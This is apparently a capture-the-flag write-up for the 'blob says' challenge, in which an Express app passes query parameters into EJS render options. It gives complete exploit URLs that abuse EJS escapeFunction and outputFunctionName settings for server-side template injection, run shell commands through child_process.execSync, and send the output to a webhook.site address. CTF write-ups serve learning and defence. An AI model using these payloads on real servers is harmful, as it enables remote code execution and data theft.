blob says: blob
We're given an express server that looks like this:
require("express")()
.set("view engine", "ejs")
.use((req, res) => res.render("index", { blob: "blob", ...req.query }))
.listen(3000);
Because express by default has extended query string parsing enabled,
we essentially have arbitrary access to the options passed to ejs's render()
function.
At first glance, we should be able to use the same exploit from a challenge in BitsCTF 2024, but ejs
seems to have patched it in 3.17.
http://chal.competitivecyber.club:3000/?settings[view%20options][outputFunctionName]=x%0Afetch(%60https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=$%7Bprocess.mainModule.require(%27child_process%27).execSync(%27cat%20flag.txt%27).toString()%7D%60)%0As
Luckily, there's still a plethora of unfixed ejs SSTI CVEs, such as this one with escapeFunction
. Using that, we can go to
http://chal.competitivecyber.club:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20fetch(`https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=${process.mainModule.require('child_process').execSync('ls').toString()}`);//
to view the directory structure of the server.
Then, we can simply use the same exploit to cat flag-aaee2b1430.txt
and get the flag:
http://chal.competitivecyber.club:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20fetch(`https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=${process.mainModule.require('child_process').execSync('cat%20flag-aaee2b1430.txt').toString()}`);//
CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}